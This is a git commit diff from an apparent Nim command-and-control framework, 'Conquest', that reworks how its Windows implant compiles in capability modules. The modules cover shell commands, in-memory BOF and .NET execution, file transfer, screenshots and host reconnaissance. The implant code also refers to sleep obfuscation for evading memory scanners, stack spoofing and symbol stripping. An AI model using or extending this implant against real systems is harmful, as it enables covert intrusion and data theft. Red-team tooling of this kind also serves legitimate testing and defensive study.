Reworked module system. Modules can now be individually set to be included in the agent. For example, it is possible to compile an agent only capable of executing BOFs and nothing else.

This commit is contained in:
Jakob Friedl
2025-09-17 15:55:13 +02:00
parent 5f1a9979be
commit 5d09efd823
15 changed files with 291 additions and 226 deletions

View File

@@ -1,8 +1,7 @@
import strformat, os, times, system, base64 import strformat, os, times, system, base64
import core/[http, context, sleepmask, coff] import core/[http, context, sleepmask]
import protocol/[task, result, heartbeat, registration] import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
proc main() = proc main() =
@@ -12,9 +11,6 @@ proc main() =
if ctx == nil: if ctx == nil:
quit(0) quit(0)
# Load agent commands
loadModules()
# Create registration payload # Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata() var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration) let registrationBytes = ctx.serializeRegistrationData(registration)
@@ -32,7 +28,6 @@ proc main() =
4. If additional tasks have been fetched, go to 2. 4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1. 5. If no more tasks need to be executed, go to 1.
]# ]#
while true: while true:
# Sleep obfuscation to evade memory scanners # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)

View File

@@ -4,4 +4,5 @@
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES=1
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -50,6 +50,17 @@ type
CMD_SCREENSHOT = 15'u16 CMD_SCREENSHOT = 15'u16
CMD_DOTNET = 16'u16 CMD_DOTNET = 16'u16
ModuleType* = enum
MODULE_ALL = 1'u32
MODULE_SLEEP = 2'u32
MODULE_SHELL = 4'u32
MODULE_BOF = 8'u32
MODULE_DOTNET = 16'u32
MODULE_FILESYSTEM = 32'u32
MODULE_FILETRANSFER = 64'u32
MODULE_SCREENSHOT = 128'u32
MODULE_SITUATIONAL_AWARENESS = 256'u32
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8
STATUS_FAILED = 1'u8 STATUS_FAILED = 1'u8
@@ -143,7 +154,6 @@ type
# Registration binary structure # Registration binary structure
type type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object AgentMetadata* = object
listenerId*: Uuid listenerId*: Uuid
@@ -238,6 +248,11 @@ type
dispatchMessage*: string dispatchMessage*: string
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
Module* = object
name*: string
description*: string
commands*: seq[Command]
# Definitions for ImGui User interface # Definitions for ImGui User interface
type type
ConsoleItem* = ref object ConsoleItem* = ref object

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeBof(ctx: AgentCtx, task: Task): TaskResult proc executeBof(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
name: protect("bof"),
description: protect("Load and execute BOF/COFF files in memory."),
commands: @[
Command( Command(
name: protect("bof"), name: protect("bof"),
commandType: CMD_BOF, commandType: CMD_BOF,
@@ -16,7 +19,8 @@ let commands*: seq[Command] = @[
], ],
execute: executeBof execute: executeBof
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
name: protect("dotnet"),
description: protect("Load and execute .NET assemblies in memory."),
commands: @[
Command( Command(
name: protect("dotnet"), name: protect("dotnet"),
commandType: CMD_DOTNET, commandType: CMD_DOTNET,
@@ -16,7 +19,8 @@ let commands*: seq[Command] = @[
], ],
execute: executeAssembly execute: executeAssembly
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -9,8 +9,11 @@ proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
proc executeMove(ctx: AgentCtx, task: Task): TaskResult proc executeMove(ctx: AgentCtx, task: Task): TaskResult
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Module definition
let commands* = @[ let module* = Module(
name: protect("filesystem"),
description: protect("Conduct simple filesystem operations via Windows API."),
commands: @[
Command( Command(
name: protect("pwd"), name: protect("pwd"),
commandType: CMD_PWD, commandType: CMD_PWD,
@@ -81,7 +84,8 @@ let commands* = @[
], ],
execute: executeCopy execute: executeCopy
) )
] ]
)
# Implementation of the execution functions # Implementation of the execution functions
when defined(server): when defined(server):

View File

@@ -4,9 +4,11 @@ import ../common/[types, utils]
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
# Module definition
# Command definition (as seq[Command]) let module* = Module(
let commands*: seq[Command] = @[ name: protect("filetransfer"),
description: protect("Upload/download files to/from the target system."),
commands: @[
Command( Command(
name: protect("download"), name: protect("download"),
commandType: CMD_DOWNLOAD, commandType: CMD_DOWNLOAD,
@@ -27,7 +29,8 @@ let commands*: seq[Command] = @[
], ],
execute: executeUpload execute: executeUpload
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -1,16 +1,7 @@
import tables, strformat import tables, strformat
import ../common/types import ../common/types
# Import modules const MODULES {.intdefine.} = 1
import
shell,
sleep,
filesystem,
filetransfer,
environment,
bof,
dotnet,
screenshot
type type
ModuleManager* = object ModuleManager* = object
@@ -19,21 +10,56 @@ type
var manager: ModuleManager var manager: ModuleManager
proc registerCommands(commands: seq[Command]) {.discardable.} = proc registerModule(module: Module) {.discardable.} =
for cmd in commands: for cmd in module.commands:
manager.commandsByType[cmd.commandType] = cmd manager.commandsByType[cmd.commandType] = cmd
manager.commandsByName[cmd.name] = cmd manager.commandsByName[cmd.name] = cmd
proc loadModules*() = # Import all modules
# Register all imported commands when ((MODULES and cast[uint32](MODULE_ALL)) == cast[uint32](MODULE_ALL)):
registerCommands(shell.commands) import
registerCommands(sleep.commands) sleep,
registerCommands(filesystem.commands) shell,
registerCommands(filetransfer.commands) filesystem,
registerCommands(environment.commands) filetransfer,
registerCommands(bof.commands) bof,
registerCommands(dotnet.commands) dotnet,
registerCommands(screenshot.commands) screenshot,
situationalAwareness
registerModule(sleep.module)
registerModule(shell.module)
registerModule(bof.module)
registerModule(dotnet.module)
registerModule(filesystem.module)
registerModule(filetransfer.module)
registerModule(screenshot.module)
registerModule(situationalAwareness.module)
# Import modules individually
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
import sleep
registerModule(sleep.module)
when ((MODULES and cast[uint32](MODULE_SHELL)) == cast[uint32](MODULE_SHELL)):
import shell
registerModule(shell.module)
when ((MODULES and cast[uint32](MODULE_BOF)) == cast[uint32](MODULE_BOF)):
import bof
registerModule(bof.module)
when ((MODULES and cast[uint32](MODULE_DOTNET)) == cast[uint32](MODULE_DOTNET)):
import dotnet
registerModule(dotnet.module)
when ((MODULES and cast[uint32](MODULE_FILESYSTEM)) == cast[uint32](MODULE_FILESYSTEM)):
import filesystem
registerModule(filesystem.module)
when ((MODULES and cast[uint32](MODULE_FILETRANSFER)) == cast[uint32](MODULE_FILETRANSFER)):
import filetransfer
registerModule(filetransfer.module)
when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREENSHOT)):
import screenshot
registerModule(screenshot.module)
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
import situationalAwareness
registerModule(situationalAwareness.module)
proc getCommandByType*(cmdType: CommandType): Command = proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType] return manager.commandsByType[cmdType]

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
name: protect("screenshot"),
description: protect("Take and retrieve a screenshot of the target desktop."),
commands: @[
Command( Command(
name: protect("screenshot"), name: protect("screenshot"),
commandType: CMD_SCREENSHOT, commandType: CMD_SCREENSHOT,
@@ -13,7 +16,8 @@ let commands*: seq[Command] = @[
arguments: @[], arguments: @[],
execute: executeScreenshot execute: executeScreenshot
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeShell(ctx: AgentCtx, task: Task): TaskResult proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
name: protect("shell"),
description: protect("Execute shell commands or programs."),
commands: @[
Command( Command(
name: protect("shell"), name: protect("shell"),
commandType: CMD_SHELL, commandType: CMD_SHELL,
@@ -16,7 +19,8 @@ let commands*: seq[Command] = @[
], ],
execute: executeShell execute: executeShell
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -5,8 +5,11 @@ proc executePs(ctx: AgentCtx, task: Task): TaskResult
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Module definition
let commands*: seq[Command] = @[ let module* = Module(
name: protect("situational-awareness"),
description: protect("Retrieve information about the target system and environment."),
commands: @[
Command( Command(
name: protect("ps"), name: protect("ps"),
commandType: CMD_PS, commandType: CMD_PS,
@@ -31,7 +34,8 @@ let commands*: seq[Command] = @[
arguments: @[], arguments: @[],
execute: executeWhoami execute: executeWhoami
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands* = @[ let module* = Module(
name: protect("sleep"),
description: protect("Change sleep settings."),
commands: @[
Command( Command(
name: protect("sleep"), name: protect("sleep"),
commandType: CMD_SLEEP, commandType: CMD_SLEEP,
@@ -15,7 +18,8 @@ let commands* = @[
], ],
execute: executeSleep execute: executeSleep
) )
] ]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -75,6 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
var config = readFile(configFile) var config = readFile(configFile)
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
.replaceAfterPrefix("-o:", exeFile) .replaceAfterPrefix("-o:", exeFile)
# .replaceAfterPrefix("-d:MODULES=", modules)
writeFile(configFile, config) writeFile(configFile, config)
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")

View File

@@ -19,14 +19,12 @@ var parser = newParser:
command("list"): command("list"):
help("List all active listeners.") help("List all active listeners.")
command("start"): command("start"):
help("Starts a new HTTP listener.") help("Starts a new HTTP listener.")
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false) option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
option("-p", "--port", help="Port to listen on.", required=true) option("-p", "--port", help="Port to listen on.", required=true)
# TODO: Future features:
# flag("--dns", help="Use the DNS protocol for C2 communication.")
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
command("stop"): command("stop"):
help("Stop an active listener.") help("Stop an active listener.")
option("-n", "--name", help="Name of the listener.", required=true) option("-n", "--name", help="Name of the listener.", required=true)
@@ -57,7 +55,7 @@ var parser = newParser:
option("-s", "--sleep", help="Sleep delay in seconds.") option("-s", "--sleep", help="Sleep delay in seconds.")
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"]) option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.") flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"): command("help"):
nohelpflag() nohelpflag()

View File

@@ -1,7 +1,5 @@
import core/server import core/server
import ../modules/manager
# Conquest framework entry point # Conquest framework entry point
when isMainModule: when isMainModule:
loadModules()
import cligen; dispatch startServer import cligen; dispatch startServer